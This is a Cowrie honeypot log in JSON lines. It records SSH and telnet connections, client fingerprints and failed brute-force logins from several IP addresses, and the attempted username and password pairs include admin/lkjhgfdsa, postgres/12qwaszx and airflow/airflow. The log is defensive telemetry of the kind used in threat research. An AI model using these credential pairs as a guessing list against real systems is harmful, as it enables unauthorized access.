{"eventid":"cowrie.session.closed","duration":120.00302386283875,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:20.067916Z","src_ip":"191.9.35.16","session":"4b1f9c9d4654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39166,"dst_ip":"159.203.135.109","dst_port":22,"session":"caa2aa0cce94","protocol":"ssh","message":"New connection: 192.109.200.78:39166 (159.203.135.109:22) [session: caa2aa0cce94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:20.737365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:20.742688Z","src_ip":"192.109.200.78","session":"caa2aa0cce94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:20.826323Z","src_ip":"192.109.200.78","session":"caa2aa0cce94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.9.35.16","src_port":55496,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6058b889c7d","protocol":"telnet","message":"New connection: 191.9.35.16:55496 (10.17.0.5:23) [session: d6058b889c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:20.875533Z"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:21.079844Z","src_ip":"192.109.200.78","session":"caa2aa0cce94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":52206,"dst_ip":"10.17.0.5","dst_port":22,"session":"38b611e6e937","protocol":"ssh","message":"New connection: 177.54.62.66:52206 (10.17.0.5:22) [session: 38b611e6e937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:21.904793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:21.909610Z","src_ip":"177.54.62.66","session":"38b611e6e937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:22.045473Z","src_ip":"177.54.62.66","session":"38b611e6e937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:22.163747Z","src_ip":"192.109.200.78","session":"caa2aa0cce94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12qwaszx","message":"login attempt [postgres/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:22.618443Z","src_ip":"177.54.62.66","session":"38b611e6e937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:23.759740Z","src_ip":"177.54.62.66","session":"38b611e6e937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39180,"dst_ip":"159.203.135.109","dst_port":22,"session":"717082208f95","protocol":"ssh","message":"New connection: 192.109.200.78:39180 (159.203.135.109:22) [session: 717082208f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:24.743670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:24.748710Z","src_ip":"192.109.200.78","session":"717082208f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:24.834533Z","src_ip":"192.109.200.78","session":"717082208f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:25.088098Z","src_ip":"192.109.200.78","session":"717082208f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:26.173631Z","src_ip":"192.109.200.78","session":"717082208f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.9.35.16","src_port":55844,"dst_ip":"10.17.0.5","dst_port":23,"session":"f425fdaae0eb","protocol":"telnet","message":"New connection: 191.9.35.16:55844 (10.17.0.5:23) [session: f425fdaae0eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:27.015476Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42894,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c01d852835c","protocol":"ssh","message":"New connection: 192.109.200.78:42894 (159.203.135.109:22) [session: 5c01d852835c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:28.597752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:28.601866Z","src_ip":"192.109.200.78","session":"5c01d852835c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:28.976430Z","src_ip":"192.109.200.78","session":"5c01d852835c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:29.520555Z","src_ip":"192.109.200.78","session":"5c01d852835c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:30.608747Z","src_ip":"192.109.200.78","session":"5c01d852835c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42904,"dst_ip":"159.203.135.109","dst_port":22,"session":"b180709f5faa","protocol":"ssh","message":"New connection: 192.109.200.78:42904 (159.203.135.109:22) [session: b180709f5faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:32.874435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:32.883053Z","src_ip":"192.109.200.78","session":"b180709f5faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:32.959056Z","src_ip":"192.109.200.78","session":"b180709f5faa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:33.280716Z","src_ip":"192.109.200.78","session":"b180709f5faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:34.397418Z","src_ip":"192.109.200.78","session":"b180709f5faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42914,"dst_ip":"159.203.135.109","dst_port":22,"session":"0198dfb4fd21","protocol":"ssh","message":"New connection: 192.109.200.78:42914 (159.203.135.109:22) [session: 0198dfb4fd21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:36.750071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:36.852635Z","src_ip":"192.109.200.78","session":"0198dfb4fd21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:36.856865Z","src_ip":"192.109.200.78","session":"0198dfb4fd21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:37.221794Z","src_ip":"192.109.200.78","session":"0198dfb4fd21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":56786,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddf5240307fc","protocol":"ssh","message":"New connection: 170.79.37.88:56786 (159.203.135.109:22) [session: ddf5240307fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:37.867906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:37.872460Z","src_ip":"170.79.37.88","session":"ddf5240307fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:37.971673Z","src_ip":"170.79.37.88","session":"ddf5240307fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:38.306954Z","src_ip":"192.109.200.78","session":"0198dfb4fd21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"lkjhgfdsa","message":"login attempt [admin/lkjhgfdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:38.410672Z","src_ip":"170.79.37.88","session":"ddf5240307fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:39.512334Z","src_ip":"170.79.37.88","session":"ddf5240307fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43162,"dst_ip":"159.203.135.109","dst_port":22,"session":"df9ce66b39d4","protocol":"ssh","message":"New connection: 192.109.200.78:43162 (159.203.135.109:22) [session: df9ce66b39d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:40.846220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:40.851037Z","src_ip":"192.109.200.78","session":"df9ce66b39d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:40.933368Z","src_ip":"192.109.200.78","session":"df9ce66b39d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:41.182499Z","src_ip":"192.109.200.78","session":"df9ce66b39d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:42.267435Z","src_ip":"192.109.200.78","session":"df9ce66b39d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43176,"dst_ip":"159.203.135.109","dst_port":22,"session":"e92c8e8b26d4","protocol":"ssh","message":"New connection: 192.109.200.78:43176 (159.203.135.109:22) [session: e92c8e8b26d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:44.728118Z"}
